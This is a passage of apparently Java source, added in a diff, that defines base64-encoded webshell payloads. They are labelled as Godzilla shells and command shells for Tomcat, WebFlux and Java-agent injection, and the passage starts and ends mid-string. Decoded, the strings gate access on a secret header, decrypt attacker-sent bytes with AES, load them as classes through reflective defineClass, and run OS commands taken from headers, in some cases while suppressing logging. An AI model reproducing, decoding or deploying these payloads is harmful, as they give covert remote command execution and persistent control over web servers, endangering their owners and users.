8uQnl0ZUJ1ZmZlci53cmFwKHZhbHVlKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3oiLCBjbGF6eik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9ICgoQ2xhc3MpIHNlc3Npb24uZ2V0QXR0cmlidXRlKCJneiIpKS5uZXdJbnN0YW5jZSgpOwoKCQkJCQkJZi5lcXVhbHMoYXJyT3V0KTsKCQkJCQkJZi5lcXVhbHModmFsdWUpOwoJCQkJCQlmLmVxdWFscyhyZXF1ZXN0KTsKCgkJCQkJCWphdmEuaW8uUHJpbnRXcml0ZXIgd3JpdGVyID0gcmVzcG9uc2UuZ2V0V3JpdGVyKCk7CgkJCQkJCXdyaXRlci53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJCQkJCWYudG9TdHJpbmcoKTsKCgkJCQkJCWMuaW5pdCgxLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQkJdmFsdWUgPSBjLmRvRmluYWwoYXJyT3V0LnRvQnl0ZUFycmF5KCkpOwoKCQkJCQkJQ2xhc3MgIGJhc2U2NDI7CgkJCQkJCVN0cmluZyByZXN1bHQgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Mi5nZXRNZXRob2QoImdldEVuY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsIG5ldyBPYmplY3RbXXtudWxsfSk7CgkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGVUb1N0cmluZyIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117dmFsdWV9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCQkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NDIubmV3SW5zdGFuY2UoKTsKCQkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde3ZhbHVlfSk7CgkJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQl3cml0ZXIud3JpdGUocmVzdWx0KTsKCQkJCQkJd3JpdGVyLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsKCQkJCQkJd3JpdGVyLmZsdXNoKCk7CgkJCQkJCXdyaXRlci5jbG9zZSgpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCQlyZXR1cm47CgkJCX0KCQl9"; + + public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String GODZILLA_RAW_SHELL = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQlub0xvZyhyZXEpOwoJCQlPYmplY3QgbGVuZ3RoID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXsiQ29udGVudC1MZW5ndGgifSk7CgkJCWJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChsZW5ndGgudG9TdHJpbmcoKSldOwoJCQlqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQlpbnQgX251bSA9IDA7CiAgICAgICAgICAgIHdoaWxlICgoX251bSArPSBpbnB1dFN0cmVhbS5yZWFkKGRhdGEsIF9udW0sIGRhdGEubGVuZ3RoKSkgPCBkYXRhLmxlbmd0aCkgOwoJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7CgoJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJZGVmTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7CgkJCX0gZWxzZSB7CgkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsKCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQlmLmVxdWFscyhkYXRhKTsKCQkJCWYudG9TdHJpbmcoKTsKCQkJCU9iamVjdCBvcyA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0T3V0cHV0U3RyZWFtIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uob3MsICJ3cml0ZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30sIG5ldyBPYmplY3RbXXt4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKX0pOwoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKG9zLCAiZmx1c2giLCBudWxsLCBudWxsKTsKCQkJCWdldE1ldGhvZEFuZEludm9rZShvcywgImNsb3NlIiwgbnVsbCwgbnVsbCk7CgkJCX0KCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQp9"; + + public static String GODZILLA_RAW_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIGtleSAgICAgICAgPSAiJXMiOwoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBsZW5ndGggICAgICA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpOwoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhICAgICAgICA9IG5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQobGVuZ3RoKV07CgkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICAgIGlucHV0U3RyZWFtID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJCWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICBfbnVtICAgICAgICA9IDA7CgkJCQkJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7CgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCQkJYy5pbml0KDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKGtleS5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbihkYXRhKTsKCQkJCQlkYXRhID0gYy5kb0ZpbmFsKGRhdGEpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigxKTsKCQkJCQlpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikgPT0gbnVsbCkgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJCWRlZmluZU1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5Db25zdHJ1Y3RvciBjb25zdHJ1Y3RvciA9IGphdmEuc2VjdXJpdHkuU2VjdXJlQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcihuZXcgQ2xhc3NbXXtqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3N9KTsKCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIGNsICAgID0gKGphdmEubGFuZy5DbGFzc0xvYWRlcikgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2xvYWRlcn0pOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3MgICAgICAgY2xhenogPSAoamF2YS5sYW5nLkNsYXNzKSBkZWZpbmVNZXRob2QuaW52b2tlKChqYXZhLmxhbmcuT2JqZWN0KSBjbCwgbmV3IE9iamVjdFtde251bGwsIGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChkYXRhKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3pyYXciLCBjbGF6eik7CgoJCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oY2xhenouZ2V0TmFtZSgpKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gKChDbGFzcykgc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikpLm5ld0luc3RhbmNlKCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLnRvU3RyaW5nKCk7CgoJCQkJCQlqYXZheC5zZXJ2bGV0LlNlcnZsZXRPdXRwdXRTdHJlYW0gcmVzcCA9IHJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpOwoJCQkJCQljLmluaXQoMSwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoa2V5LmdldEJ5dGVzKCksICJBRVMiKSk7CgoJCQkJCQlyZXNwLndyaXRlKGMuZG9GaW5hbChhcnJPdXQudG9CeXRlQXJyYXkoKSkpOwoJCQkJCQlyZXNwLmZsdXNoKCk7CgkJCQkJCXJlc3AuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_TOMCAT = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7CglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3A7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQl0cnkgewoJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJaWYgKCEocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkpIHsKCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UocmVzcCwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJaWYgKHJlc3BvbnNlRmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVzcG9uc2UuZ2V0Q2xhc3MoKSkpIGJyZWFrOwoJCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlc3BvbnNlLCAiZ2V0UmVzcG9uc2UiLCBudWxsLCBudWxsKTsKCQkJCQl9CgkJCQl9CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQkJbm9Mb2cocmVxKTsKCgkJCU9iamVjdCBoZWFkZXIgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0NNRF9IRUFERVJ9KTsKCQkJT2JqZWN0IHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgIndyaXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcoZXhlY0NtZChoZWFkZXIudG9TdHJpbmcoKSkudG9CeXRlQXJyYXkoKSl9KTsKCQkJfQoKCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; + + public static String CMD_SHELL = "ewoJCQlPYmplY3QgcmVxICAgICA9ICQxOwoJCQlPYmplY3QgcmVzcCAgICA9ICQyOwoJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQlPYmplY3QgaGVhZGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtDTURfSEVBREVSfSk7CgkJCQlPYmplY3Qgd3JpdGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRXcml0ZXIiLCBudWxsLCBudWxsKTsKCgkJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJ3cml0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKGV4ZWNDbWQoaGVhZGVyLnRvU3RyaW5nKCkpLnRvQnl0ZUFycmF5KCkpfSk7CgkJCQl9CgoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAiY2xvc2UiLCBudWxsLCBudWxsKTsKCQkJfQoJCX0="; + + public static String CMD_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nIGNtZCA9IHJlcXVlc3QuZ2V0SGVhZGVyKCIlcyIpOwoJCQkJCWlmIChjbWQgIT0gbnVsbCAmJiAhIiIuZXF1YWxzKGNtZCkpIHsKCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJaWYgKENsYXNzLmZvck5hbWUobmV3IFRocm93YWJsZSgpLmdldFN0YWNrVHJhY2UoKVsxXS5nZXRDbGFzc05hbWUoKSkuZ2V0Q2xhc3NMb2FkZXIoKSA9PSBudWxsKSB7CgkJCQkJCQkJdW5zYWZlID0gc3VuLm1pc2MuVW5zYWZlLmdldFVuc2FmZSgpOwoJCQkJCQkJfQoJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQl9CgoJCQkJCQlpZiAodW5zYWZlID09IG51bGwpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7CgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgIG5ldHR5Q2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJpby5uZXR0eS51dGlsLmludGVybmFsLnNoYWRlZC5vcmcuamN0b29scy51dGlsLlVuc2FmZUFjY2VzcyIpOwoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICAgICAgPSBuZXR0eUNsYXNzLmdldERlY2xhcmVkRmllbGQoIlVOU0FGRSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIHRoZVVuc2FmZUZpZWxkID0gc3VuLm1pc2MuVW5zYWZlLmNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCXRoZVVuc2FmZUZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgdGhlVW5zYWZlRmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJU3RyaW5nW10gICAgICAgICAgICAgICAgICAgICAgY21kcyAgICAgICAgICA9IG51bGw7CgkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NDbGFzcyAgPSBudWxsOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyAgICAgICAgICA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlpZiAoU3lzdGVtLmdldFByb3BlcnR5KCJvcy5uYW1lIikudG9Mb3dlckNhc2UoKS5jb250YWlucygid2luIikpIHsKCQkJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJCQlwcm9jZXNzQ2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuUHJvY2Vzc0ltcGwiKTsKCQkJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkICA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgkJCQkJCQlTdHJpbmdCdWlsZGVyIC